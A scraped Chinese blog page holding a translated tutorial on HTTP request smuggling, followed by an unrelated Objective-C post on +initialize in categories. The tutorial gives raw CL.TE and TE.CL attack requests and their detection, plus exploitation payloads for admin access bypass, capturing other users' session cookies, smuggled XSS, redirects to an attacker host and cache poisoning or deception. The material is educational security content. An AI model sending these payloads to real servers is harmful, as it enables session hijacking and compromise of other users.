    • 某些服务器虽然支持 Transfer-Encoding 头,但是可以通过某种方式进行混淆,以诱导不处理此标头。

    如果前端服务器(转发服务)和后端服务器处理 Transfer-Encoding 的行为不同,则它们可能在连续请求之间的边界上存在分歧,从而导致请求走私漏洞。

    如何进行 HTTP 请求走私攻击

    请求走私攻击需要在 HTTP 请求头中同时使用 Content-Length 和 Transfer-Encoding,以使前端服务器(转发服务)和后端服务器以不同的方式处理该请求。具体的执行方式取决于两台服务器的行为:

    • CL.TE:前端服务器(转发服务)使用 Content-Length 头,而后端服务器使用 Transfer-Encoding 头。
    • TE.CL:前端服务器(转发服务)使用 Transfer-Encoding 头,而后端服务器使用 Content-Length 头。
    • TE.TE:前端服务器(转发服务)和后端服务器都使用 Transfer-Encoding 头,但是可以通过某种方式混淆标头来诱导其中一个服务器不对其进行处理。

    CL.TE 漏洞

    前端服务器(转发服务)使用 Content-Length 头,而后端服务器使用 Transfer-Encoding 头。我们可以构造一个简单的 HTTP 请求走私攻击,如下所示:

    POST / HTTP/1.1
    Host: vulnerable-website.com
    Content-Length: 13
    Transfer-Encoding: chunked

    0

    SMUGGLED

    前端服务器(转发服务)使用 Content-Length 确定这个请求体的长度是 13 个字节,直到 SMUGGLED 的结尾。然后请求被转发给了后端服务器。

    后端服务器使用 Transfer-Encoding ,把请求体当成是分块的,然后处理第一个分块,刚好又是长度为零的终止分块,因此直接认为消息结束了,而后面的 SMUGGLED 将不予处理,并将其视为下一个请求的开始。

    TE.CL 漏洞

    前端服务器(转发服务)使用 Transfer-Encoding 头,而后端服务器使用 Content-Length 头。我们可以构造一个简单的 HTTP 请求走私攻击,如下所示:

    POST / HTTP/1.1
    Host: vulnerable-website.com
    Content-Length: 3
    Transfer-Encoding: chunked

    8
    SMUGGLED
    0

    注意:上面的 0 后面还有 \r\n\r\n 。

    前端服务器(转发服务)使用 Transfer-Encoding 将消息体当作分块编码,第一个分块的长度是 8 个字节,内容是 SMUGGLED,第二个分块的长度是 0 ,也就是终止分块,所以这个请求到这里终止,然后被转发给了后端服务。

    后端服务使用 Content-Length ,认为消息体只有 3 个字节,也就是 8\r\n,而剩下的部分将不会处理,并视为下一个请求的开始。

    TE.TE 混淆 TE 头

    前端服务器(转发服务)和后端服务器都使用 Transfer-Encoding 头,但是可以通过某种方式混淆标头来诱导其中一个服务器不对其进行处理。

    混淆 Transfer-Encoding 头的方式可能无穷无尽。例如:

    Transfer-Encoding: xchunked

    Transfer-Encoding : chunked

    Transfer-Encoding: chunked
    Transfer-Encoding: x

    Transfer-Encoding:[tab]chunked

    [space]Transfer-Encoding: chunked

    X: X[\n]Transfer-Encoding: chunked

    Transfer-Encoding
    : chunked

    这些技术中的每一种都与 HTTP 规范有细微的不同。实现协议规范的实际代码很少以绝对的精度遵守协议规范,并且不同的实现通常会容忍与协议规范的不同变化。要找到 TE.TE 漏洞,必须找到 Transfer-Encoding 标头的某种变体,以便前端服务器(转发服务)或后端服务器其中之一正常处理,而另外一个服务器则将其忽略。

    根据可以混淆诱导不处理 Transfer-Encoding 的是前端服务器(转发服务)还是后端服务,而后的攻击方式则与 CL.TE 或 TE.CL 漏洞相同。

    如何防御 HTTP 请求走私漏洞

    当前端服务器(转发服务)通过同一个网络连接将多个请求转发给后端服务器,且前端服务器(转发服务)与后端服务器对请求边界存在不一致的判定时,就会出现 HTTP 请求走私漏洞。防御 HTTP 请求走私漏洞的一些通用方法如下:

    • 禁用到后端服务器连接的重用,以便每个请求都通过单独的网络连接发送。
    • 对后端服务器连接使用 HTTP/2 ,因为此协议可防止对请求之间的边界产生歧义。
    • 前端服务器(转发服务)和后端服务器使用完全相同的 Web 软件,以便它们就请求之间的界限达成一致。

    在某些情况下,可以通过使前端服务器(转发服务)规范歧义请求或使后端服务器拒绝歧义请求并关闭网络连接来避免漏洞。然而这种方法比上面的通用方法更容易出错。


    查找 HTTP 请求走私漏洞

    在本节中,我们将介绍用于查找 HTTP 请求走私漏洞的不同技术。

    计时技术

    检测 HTTP 请求走私漏洞的最普遍有效的方法就是计时技术。发送请求,如果存在漏洞,则应用程序的响应会出现时间延迟。

    使用计时技术查找 CL.TE 漏洞

    如果应用存在 CL.TE 漏洞,那么发送如下请求通常会导致时间延迟:

    POST / HTTP/1.1
    Host: vulnerable-website.com
    Transfer-Encoding: chunked
    Content-Length: 4

    1
    A
    X

    前端服务器(转发服务)使用 Content-Length 认为消息体只有 4 个字节,即 1\r\nA,因此后面的 X 被忽略了,然后把这个请求转发给后端。而后端服务使用 Transfer-Encoding 则会一直等待终止分块 0\r\n 。这就会导致明显的响应延迟。

    使用计时技术查找 TE.CL 漏洞

    如果应用存在 TE.CL 漏洞,那么发送如下请求通常会导致时间延迟:

    POST / HTTP/1.1
    Host: vulnerable-website.com
    Transfer-Encoding: chunked
    Content-Length: 6

    0

    X

    前端服务器(转发服务)使用 Transfer-Encoding,由于第一个分块就是 0\r\n 终止分块,因此后面的 X 直接被忽略了,然后把这个请求转发给后端。而后端服务使用 Content-Length 则会一直等到后续 6 个字节的内容。这就会导致明显的延迟。

    注意:如果应用程序易受 CL.TE 漏洞的攻击,则基于时间的 TE.CL 漏洞测试可能会干扰其他应用程序用户。因此,为了隐蔽并尽量减少干扰,你应该先进行 CL.TE 测试,只有在失败了之后再进行 TE.CL 测试。

    使用差异响应确认 HTTP 请求走私漏洞

    当检测到可能的请求走私漏洞时,可以通过利用该漏洞触发应用程序响应内容的差异来获取该漏洞进一步的证据。这包括连续向应用程序发送两个请求:

    • 一个攻击请求,旨在干扰下一个请求的处理。
    • 一个正常请求。

    如果对正常请求的响应包含预期的干扰,则漏洞被确认。

    例如,假设正常请求如下:

    POST /search HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 11

    q=smuggling

    这个请求通常会收到状态码为 200 的 HTTP 响应,响应内容包含一些搜索结果。

    攻击请求则取决于请求走私是 CL.TE 还是 TE.CL 。

    使用差异响应确认 CL.TE 漏洞

    为了确认 CL.TE 漏洞,你可以发送如下攻击请求:

    POST /search HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 49
    Transfer-Encoding: chunked

    e
    q=smuggling&x=
    0

    GET /404 HTTP/1.1
    Foo: x

    如果攻击成功,则最后两行会被后端服务视为下一个请求的开头。这将导致紧接着的一个正常的请求变成了如下所示:

    GET /404 HTTP/1.1
    Foo: xPOST /search HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 11

    q=smuggling

    由于这个请求的 URL 现在是一个无效的地址,因此服务器将会作出 404 的响应,这表明攻击请求确实产生了干扰。

    使用差异响应确认 TE.CL 漏洞

    为了确认 TE.CL 漏洞,你可以发送如下攻击请求:

    POST /search HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 4
    Transfer-Encoding: chunked

    7c
    GET /404 HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 144

    x=
    0

    如果攻击成功,则后端服务器将从 GET / 404 以后的所有内容都视为属于收到的下一个请求。这将会导致随后的正常请求变为:

    GET /404 HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 146

    x=
    0

    POST /search HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 11

    q=smuggling

    由于这个请求的 URL 现在是一个无效的地址,因此服务器将会作出 404 的响应,这表明攻击请求确实产生了干扰。

    注意,当试图通过干扰其他请求来确认请求走私漏洞时,应记住一些重要的注意事项:

    • “攻击”请求和“正常”请求应该使用不同的网络连接发送到服务器。通过同一个连接发送两个请求不会证明该漏洞存在。
    • “攻击”请求和“正常”请求应尽可能使用相同的URL和参数名。这是因为许多现代应用程序根据URL和参数将前端请求路由到不同的后端服务器。使用相同的URL和参数会增加请求被同一个后端服务器处理的可能性,这对于攻击起作用至关重要。
    • 当测试“正常”请求以检测来自“攻击”请求的任何干扰时,您与应用程序同时接收的任何其他请求(包括来自其他用户的请求)处于竞争状态。您应该在“攻击”请求之后立即发送“正常”请求。如果应用程序正忙,则可能需要执行多次尝试来确认该漏洞。
    • 在某些应用中,前端服务器充当负载均衡器,根据某种负载均衡算法将请求转发到不同的后端系统。如果您的“攻击”和“正常”请求被转发到不同的后端系统,则攻击将失败。这是您可能需要多次尝试才能确认漏洞的另一个原因。
    • 如果您的攻击成功地干扰了后续请求,但这不是您为检测干扰而发送的“正常”请求,那么这意味着另一个应用程序用户受到了您的攻击的影响。如果您继续执行测试,这可能会对其他用户产生破坏性影响,您应该谨慎行事。

    利用 HTTP 请求走私漏洞

    在本节中,我们将描述 HTTP 请求走私漏洞的几种利用方法,这也取决于应用程序的预期功能和其他行为。

    利用 HTTP 请求走私漏洞绕过前端服务器(转发服务)安全控制

    在某些应用程序中,前端服务器(转发服务)不仅用来转发请求,也用来实现了一些安全控制,以决定单个请求能否被转发到后端处理,而后端服务认为接受到的所有请求都已经通过了安全验证。

    假设,某个应用程序使用前端服务器(转发服务)来做访问控制,只有当用户被授权访问的请求才会被转发给后端服务器,后端服务器接受的所有请求都无需进一步检查。在这种情况下,可以使用 HTTP 请求走私漏洞绕过访问控制,将请求走私到后端服务器。

    假设当前用户可以访问 /home ,但不能访问 /admin 。他们可以使用以下请求走私攻击绕过此限制:

    POST /home HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 62
    Transfer-Encoding: chunked

    0

    GET /admin HTTP/1.1
    Host: vulnerable-website.com
    Foo: xGET /home HTTP/1.1
    Host: vulnerable-website.com

    前端服务器(转发服务)将其视为一个请求,然后进行访问验证,由于用户拥有访问 /home 的权限,因此把请求转发给后端服务器。然而,后端服务器则将其视为 /home 和 /admin 两个单独的请求,并且认为请求都通过了权限验证,此时 /admin 的访问控制实际上就被绕过了。

    前端服务器(转发服务)对请求重写

    在许多应用程序中,请求被转发给后端服务之前会进行一些重写,通常是添加一些额外的请求头之类的。例如,转发请求重写可能:

    • 终止 TLS 连接并添加一些描述使用的协议和密钥之类的头。
    • 添加 X-Forwarded-For 头用来标记用户的 IP 地址。
    • 根据用户的会话令牌确定用户 ID ,并添加用于标识用户的头。
    • 添加一些其他攻击感兴趣的敏感信息。

    在某些情况下,如果你走私的请求缺少一些前端服务器(转发服务)添加的头,那么后端服务可能不会正常处理,从而导致走私请求无法达到预期的效果。

    通常有一些简单的方法可以准确地得知前端服务器(转发服务)是如何重写请求的。为此,需要执行以下步骤:

    • 找到一个将请求参数的值反映到应用程序响应中的 POST 请求。
    • 随机排列参数,以使反映的参数出现在消息体的最后。
    • 将这个请求走私到后端服务器,然后直接发送一个要显示其重写形式的普通请求。

    假设应用程序有个登录的功能,其会反映 email 参数:

    POST /login HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 28

    email=wiener@normal-user.net

    响应内容包括:

    <input id="email" value="wiener@normal-user.net" type="text">

    此时,你可以使用以下请求走私攻击来揭示前端服务器(转发服务)对请求的重写:

    POST / HTTP/1.1
    Host: vulnerable-website.com
    Content-Length: 130
    Transfer-Encoding: chunked

    0

    POST /login HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 100

    email=POST /login HTTP/1.1
    Host: vulnerable-website.com
    ...

    前端服务器(转发服务)将会重写请求以添加标头,然后后端服务器将处理走私请求,并将第二个请求当作 email 参数的值,且在响应中反映出来:

    <input id="email" value="POST /login HTTP/1.1
    Host: vulnerable-website.com
    X-Forwarded-For: 1.3.3.7
    X-Forwarded-Proto: https
    X-TLS-Bits: 128
    X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
    X-TLS-Version: TLSv1.2
    x-nr-external-service: external
    ...

    注意:由于最后的请求正在重写,你不知道它需要多长时间结束。走私请求中的 Content-Length 头的值将决定后端服务器处理请求的时间。如果将此值设置得太短,则只会收到部分重写请求;如果设置得太长,后端服务器将会等待超时。当然,解决方案是猜测一个比提交的请求稍大一点的初始值,然后逐渐增大该值以检索更多信息,直到获得感兴趣的所有内容。

    一旦了解了转发服务器如何重写请求,就可以对走私的请求进行必要的调整,以确保后端服务器以预期的方式对其进行处理。

    捕获其他用户的请求

    如果应用程序包含存储和检索文本数据的功能,那么可以使用 HTTP 请求走私去捕获其他用户请求的内容。这些内容可能包括会话令牌(捕获后可以进行会话劫持攻击),或其他用户提交的敏感数据。被攻击的功能通常有评论、电子邮件、个人资料、显示昵称等等。

    要进行攻击,您需要走私一个将数据提交到存储功能的请求,其中包含该数据的参数位于请求的最后。后端服务器处理的下一个请求将追加到走私请求后,结果将存储另一个用户的原始请求。

    假设某个应用程序通过如下请求提交博客帖子评论,该评论将存储并显示在博客上:

    POST /post/comment HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 154
    Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

    csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net

    你可以执行以下请求走私攻击,目的是让后端服务器将下一个用户请求当作评论内容进行存储并展示:

    GET / HTTP/1.1
    Host: vulnerable-website.com
    Transfer-Encoding: chunked
    Content-Length: 324

    0

    POST /post/comment HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 400
    Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

    csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=

    当下一个用户请求被后端服务器处理时,它将被附加到走私的请求后,结果就是用户的请求,包括会话 cookie 和其他敏感信息会被当作评论内容处理:

    POST /post/comment HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 400
    Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

    csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
    Host: vulnerable-website.com
    Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
    ...

    最后,直接通过正常的查看评论的方式就能看到其他用户请求的详细信息了。

    注意:这种技术的局限性是,它通常只会捕获一直到走私请求边界符的数据。对于 URL 编码的表单提交,其是 & 字符,这意味着存储的受害用户的请求是直到第一个 & 之间的内容。

    使用 HTTP 请求走私进行反射型 XSS 攻击

    如果应用程序既存在 HTTP 请求走私漏洞,又存在反射型 XSS 漏洞,那么你可以使用请求走私攻击应用程序的其他用户。这种方法在两个方面优于一般的反射型 XSS 攻击方式:

    • 它不需要与受害用户交互。你不需要给受害用户发送一个钓鱼链接,然后等待他们访问。你只需要走私一个包含 XSS 有效负载的请求,由后端服务器处理的下一个用户的请求就会命中。
    • 它可以在请求的某些部分(如 HTTP 请求头)中利用 XSS 攻击,而这在正常的反射型 XSS 攻击中无法轻易控制。

    假设某个应用程序在 User-Agent 头上存在反射型 XSS 漏洞,那么你可以通过如下所示的请求走私利用此漏洞:

    POST / HTTP/1.1
    Host: vulnerable-website.com
    Content-Length: 63
    Transfer-Encoding: chunked

    0

    GET / HTTP/1.1
    User-Agent: <script>alert(1)</script>
    Foo: X

    此时,下一个用户的请求将被附加到走私的请求后,且他们将在响应中接收到反射型 XSS 的有效负载。

    利用 HTTP 请求走私将站内重定向转换为开放重定向

    许多应用程序根据请求的 HOST 头进行站内 URL 的重定向。一个示例是 Apache 和 IIS Web 服务器的默认行为,其中对不带斜杠的目录的请求将重定向到带斜杠的同一个目录:

    GET /home HTTP/1.1
    Host: normal-website.com

    HTTP/1.1 301 Moved Permanently
    Location: https://normal-website.com/home/

    通常,此行为被认为是无害的,但是可以在请求走私攻击中利用它来将其他用户重定向到外部域。例如:

    POST / HTTP/1.1
    Host: vulnerable-website.com
    Content-Length: 54
    Transfer-Encoding: chunked

    0

    GET /home HTTP/1.1
    Host: attacker-website.com
    Foo: X

    走私请求将会触发一个到攻击者站点的重定向,这将影响到后端服务处理的下一个用户的请求,例如:

    GET /home HTTP/1.1
    Host: attacker-website.com
    Foo: XGET /scripts/include.js HTTP/1.1
    Host: vulnerable-website.com

    HTTP/1.1 301 Moved Permanently
    Location: https://attacker-website.com/home/

    此时,如果用户请求的是一个在 web 站点导入的 JavaScript 文件,那么攻击者可以通过在响应中返回自己的 JavaScript 来完全控制受害用户。

    利用 HTTP 请求走私进行 web cache poisoning

    上述攻击的一个变体就是利用 HTTP 请求走私去进行 web cache 投毒。如果前端基础架构中的任何部分使用 cache 缓存,那么可能使用站外重定向响应来破坏缓存。这种攻击的效果将会持续存在,随后对受污染的 URL 发起请求的所有用户都会中招。

    在这种变体攻击中,攻击者发送以下内容到前端服务器:

    POST / HTTP/1.1
    Host: vulnerable-website.com
    Content-Length: 59
    Transfer-Encoding: chunked

    0

    GET /home HTTP/1.1
    Host: attacker-website.com
    Foo: XGET /static/include.js HTTP/1.1
    Host: vulnerable-website.com

    后端服务器像之前一样进行站外重定向对走私请求进行响应。前端服务器认为是第二个请求的 URL 的响应,然后进行缓存:

    /static/include.js:

    GET /static/include.js HTTP/1.1
    Host: vulnerable-website.com

    HTTP/1.1 301 Moved Permanently
    Location: https://attacker-website.com/home/

    从此刻开始,当其他用户请求此 URL 时,他们都会收到指向攻击者网站的重定向。

    利用 HTTP 请求走私进行 web cache poisoning

    另一种攻击变体就是利用 HTTP 请求走私去进行 web cache 欺骗。这与 web cache 投毒的方式类似,但目的不同。

    web cache poisoning(缓存中毒) 和 web cache deception(缓存欺骗) 有什么区别?

    • 对于 web cache poisoning(缓存中毒),攻击者会使应用程序在缓存中存储一些恶意内容,这些内容将从缓存提供给其他用户。
    • 对于 web cache deception(缓存欺骗),攻击者使应用程序在缓存中存储属于另一个用户的某些敏感内容,然后攻击者从缓存中检索这些内容。

    这种攻击中,攻击者发起一个返回用户特定敏感内容的走私请求。例如:

    POST / HTTP/1.1
    Host: vulnerable-website.com
    Content-Length: 43
    Transfer-Encoding: chunked

    0

    GET /private/messages HTTP/1.1
    Foo: X

    来自另一个用户的请求被后端服务器被附加到走私请求后,包括会话 cookie 和其他标头。例如:

    GET /private/messages HTTP/1.1
    Foo: XGET /static/some-image.png HTTP/1.1
    Host: vulnerable-website.com
    Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
    ...

    后端服务器以正常方式响应此请求。这个请求是用来获取用户的私人消息的,且会在受害用户会话的上下文中被正常处理。前端服务器根据第二个请求中的 URL 即 /static/some-image.png 缓存了此响应:

    GET /static/some-image.png HTTP/1.1
    Host: vulnerable-website.com

    HTTP/1.1 200 Ok
    ...
    <h1>Your private messages</h1>
    ...

    然后,攻击者访问静态 URL,并接收从缓存返回的敏感内容。

    这里的一个重要警告是,攻击者不知道敏感内容将会缓存到哪个 URL 地址,因为这个 URL 地址是受害者用户在走私请求生效时恰巧碰到的。攻击者可能需要获取大量静态 URL 来发现捕获的内容。


    原文链接:https://segmentfault.com/a/1190000039332580

    收起阅读 »

    iOS Cateogry的深入理解&&initialize方法调用理解

    上一篇文章我们讲到了load方法,今天我们来看看initialize新建项目,新建类   类结构图如下将原来的load方法换成initialize先告诉大家initialize方法调用的时间,以便大家带着答案去理解initialize:在类第一次接收...
    继续阅读 »
    • 上一篇文章我们讲到了load方法,今天我们来看看initialize

    新建项目,新建类   类结构图如下


    将原来的load方法换成initialize


    先告诉大家initialize方法调用的时间,以便大家带着答案去理解initialize:在类第一次接收到消息的时候调用,它区别于load(运行时加载类的时候调用),下面我们来深入理解initialize

    相信大家在想什么叫第一次接收消息了,我们回到main()



    运行程序,输出结果:



    说明:NSLog(@"---")是由于我建的是命令行工程,不写这个,貌似不能显示控制台,Xcode版本是12,当然你们的要显示控制台,直接去掉这行代码

    从输出结果可以看到没有任何关于initialize的打印,程序直接退出

    • 2.initialize的打印
    int main(int argc, const char * argv[]) {
    @autoreleasepool {

    [TCPerson alloc];
    }
    return 0;
    }


    运行结果:
    2020-12-04 14:59:17.417072+0800 TCCateogry[1616:79391] TCPerson (TCtest2) +initialize
    Program ended with exit code: 0

    从上面的输出结果我们可以看到,TCPerson (TCtest2) +initialize打印

    load是直接函数指针直接调用,类,分类,继承等等

    [TCPerson alloc]就是相当于该类发送消息,但是它只会调用类,分类的其中一个(取决于编译顺序,从输出结果可以看出,initialize走的是objc_msgSend,而load直接通过函数指针直接调用,所以initialize通过isa方法查找调用

    多次向TCPerson发送消息的输出结果
    int main(int argc, const char * argv[]) {
    @autoreleasepool {

    [TCPerson alloc];
    [TCPerson alloc];
    [TCPerson alloc];
    [TCPerson alloc];
    }
    return 0;
    }

    输出结果:
    2020-12-04 15:11:12.246442+0800 TCCateogry[1659:85317] TCPerson (TCtest2) +initialize
    Program ended with exit code: 0

    initialize只会调用一次

    我们再来看看继承关系中,initialize的调用

    int main(int argc, const char * argv[]) {
    @autoreleasepool {
    [TCStudent alloc];

    }
    return 0;
    }

    输出结果:

    2020-12-04 15:14:58.705423+0800 TCCateogry[1705:87507] TCPerson (TCtest2) +initialize
    2020-12-04 15:14:58.705750+0800 TCCateogry[1705:87507] TCStudent (TCStudentTest2) +initialize
    Program ended with exit code: 0
    从输出结果来看,子类调用initialize之前,会先调用父类的initialize,再调用自己的initialize,当然无论父类调用initialize,还是子类调用initialize,如果有多个分类(这里指的是父类调用父类的分类,子类调用子类的分类),调用initialize取决于分类的编译顺序(调用后编译分类中的initialize,类似于压栈,先进后出),值得注意的是,无论父类子类的initialize,都只调用一次

    int main(int argc, const char * argv[]) {
    @autoreleasepool {
    [TCPerson alloc];
    [TCPerson alloc];
    [TCStudent alloc];
    [TCStudent alloc];
    }
    return 0;
    }

    输出结果:

    020-12-04 15:23:27.168243+0800 TCCateogry[1731:91248] TCPerson (TCtest2) +initialize
    2020-12-04 15:23:27.168601+0800 TCCateogry[1731:91248] TCStudent (TCStudentTest2) +initialize
    Program ended with exit code: 0

    如果子类(子类的分类也不实现)不实现initialize,则父类的initialize就调用多次

    #import "TCStudent.h"

    @implementation TCStudent
    //+ (void)initialize{
    // NSLog(@"TCStudent +initialize");
    //}
    @end
    int main(int argc, const char * argv[]) {
    @autoreleasepool {
    [TCPerson alloc];
    [TCStudent alloc];
    }
    return 0;
    }


    输出结果:

    2020-12-04 15:37:09.055459+0800 TCCateogry[1822:98237] TCPerson (TCtest2) +initialize
    2020-12-04 15:37:09.055775+0800 TCCateogry[1822:98237] TCPerson (TCtest2) +initialize
    Program ended with exit code: 0


    如果子类(子类的分类实现initialize)不实现initialize,则子类的initialize不会调用,调用子类分类的initialize(当然多个分类的话,调用哪个的initialize取决于编译顺序)

    #import "TCStudent.h"

    @implementation TCStudent
    + (void)initialize{
    NSLog(@"TCStudent +initialize");
    }
    @end
    #import "TCStudent+TCStudentTest1.h"

    @implementation TCStudent (TCStudentTest1)
    + (void)initialize{
    NSLog(@"TCStudent (TCStudentTest1) +initialize");
    }
    @end#import "TCStudent+TCStudentTest2.h"

    @implementation TCStudent (TCStudentTest2)
    + (void)initialize{
    NSLog(@"TCStudent (TCStudentTest2) +initialize");
    }
    @end
    输出结果:

    2020-12-04 15:41:21.863260+0800 TCCateogry[1868:100750] TCPerson (TCtest2) +initialize
    2020-12-04 15:41:21.863568+0800 TCCateogry[1868:100750] TCStudent (TCStudentTest2) +initialize
    Program ended with exit code: 0

    作者:枫紫_6174
    链接:https://www.jianshu.com/p/f0150edc0f42




    收起阅读 »